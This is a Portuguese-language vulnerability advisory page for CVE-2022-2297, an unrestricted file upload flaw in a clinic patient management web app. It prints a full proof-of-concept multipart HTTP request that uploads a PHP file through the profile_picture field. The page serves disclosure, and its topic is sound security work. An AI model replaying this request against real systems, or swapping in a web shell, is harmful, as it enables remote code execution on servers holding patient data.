SourceCodester Clinics Patient Management System 2.0 update_user.php?user_id=1 profile_picture Elevação de Privilégios

CVSS Meta Pontuação TemporáriaPreço atual do exploit (≈)Nota de Interesse CTI
6.9$0-$5k0.00

Sumárioinformação

Uma vulnerabilidade foi encontrada em SourceCodester Clinics Patient Management System 2.0. Foi declarada como crítico. O elemento afetado é uma função não identificada no arquivo /pms/update_user.php?user_id=1. A utilização do parâmetro profile_picture com o valor <?php phpinfo();?> pode causar Elevação de Privilégios. Esta vulnerabilidade é identificada como CVE-2022-2297. Existe a possibilidade de executar o ataque de forma remota. Além disso, um exploit está disponível.

Detalhesinformação

Uma vulnerabilidade foi encontrada em SourceCodester Clinics Patient Management System 2.0. Foi declarada como crítico. O elemento afetado é uma função não identificada no arquivo /pms/update_user.php?user_id=1. A utilização do parâmetro profile_picture com o valor <?php phpinfo();?> pode causar Elevação de Privilégios. Ao utilizar CWE para declarar o problema, isso direciona para CWE-434. A falha foi publicada 04/07/2022. O comunicado foi disponibilizado para download em github.com.

Esta vulnerabilidade é identificada como CVE-2022-2297. Existe a possibilidade de executar o ataque de forma remota. Há detalhes técnicos disponíveis. Esta vulnerabilidade apresenta popularidade inferior à média. Além disso, um exploit está disponível. O exploit foi exposto ao público e pode ser aproveitado. No momento, o preço atual de um exploit pode estar em torno de USD $0-$5k atualmente. O projecto MITRE ATT&CK utiliza a técnica de ataque T1608.002 para esta edição.

Foi declarado como prova de conceito. O exploit está disponível para download em github.com. Como 0-day, o preço estimado no mercado clandestino era em torno de $0-$5k. Segue o código empregado pelo exploit:

POST /pms/update_user.php?user_id=1 HTTP/1.1
Host: localhost
Content-Length: 828
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHTbuuF5mdaA9K4Fw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/pms/update_user.php?user_id=1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=kbnmikgfhdo4qe7crgidipoqc9
Connection: close

------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="hidden_id"

1 ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="display_name"

Administrator ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="username"

admin ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="password"

------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="profile_picture"; filename="rce.php" Content-Type: application/octet-stream

<?php phpinfo();?> ------WebKitFormBoundaryHTbuuF5mdaA9K4Fw Content-Disposition: form-data; name="save_user"

------WebKitFormBoundaryHTbuuF5mdaA9K4Fw--

Produtoinformação

Tipo

Fabricante

Nome

Versão

Licença

Site

CPE 2.3informação

CPE 2.2informação

CVSSv4informação

VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

CVSSv3informação

VulDB Meta Pontuação Base: 7.1
VulDB Meta Pontuação Temporária: 6.9

VulDB Pontuação Base: 6.3
VulDB Pontuação Temporária: 5.7
VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

NVD Pontuação Base: 8.8
NVD Vetor: 🔍

CNA Pontuação Base: 6.3
CNA Vetor (VulDB): 🔍

CVSSv2informação

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexidadeAutenticaçãoConfidencialidadeIntegridadeDisponibilidade
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear

VulDB Pontuação Base: 🔍
VulDB Pontuação Temporária: 🔍
VulDB Fiabilidade: 🔍

NVD Pontuação Base: 🔍

Exploraçãoinformação

Classe: Elevação de Privilégios
CWE: CWE-434 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Físico: Não
Local: Não
Remoto: Sim

Disponibilidade: 🔍
Acesso: Público
Estado: Prova de conceito
Descarregar: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Tendência de preços: 🔍
Estimativa de preço atual: 🔍

0-DayDesbloquearDesbloquearDesbloquearDesbloquear
HojeDesbloquearDesbloquearDesbloquearDesbloquear

Inteligência de ameaçasinformação

Interesse: 🔍
Atores ativos: 🔍
Grupos APT ativos: 🔍

Contramedidasinformação

Recomendação: nenhuma medida conhecida
Estado: 🔍

Tempo 0-dia: 🔍

Linha do tempoinformação

04/07/2022 🔍
04/07/2022 +0 dias 🔍
04/07/2022 +0 dias 🔍
07/09/2024 +796 dias 🔍

Fontesinformação

Fabricante: sourcecodester.com

Aconselhamento: github.com
Estado: Não definido

CVE: CVE-2022-2297 (🔍)
GCVE (CVE): GCVE-0-2022-2297
GCVE (VulDB): GCVE-100-203178
scip Labs: https://www.scip.ch/en/?labs.20161013

Entradainformação

Criado: 04/07/2022 07h12
Atualizado: 07/09/2024 15h18
Ajustamentos: 04/07/2022 07h12 (41), 04/07/2022 07h13 (4), 18/07/2022 14h55 (2), 18/07/2022 14h58 (28), 07/09/2024 15h18 (15)
Completo: 🔍
Submissor: cyberthoth
Cache ID: 216::103

Submeterinformação

Aceite

  • Submeter #40500: Clinic's Patient Management System 2.0 Unrestricted file upload (RCE) (de cyberthoth)

Duplicado

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Discussão

Ainda sem comentários. Idiomas: pt + es + en.

Por favor, inicie sessão para comentar.

Might our Artificial Intelligence support you?

Check our Alexa App!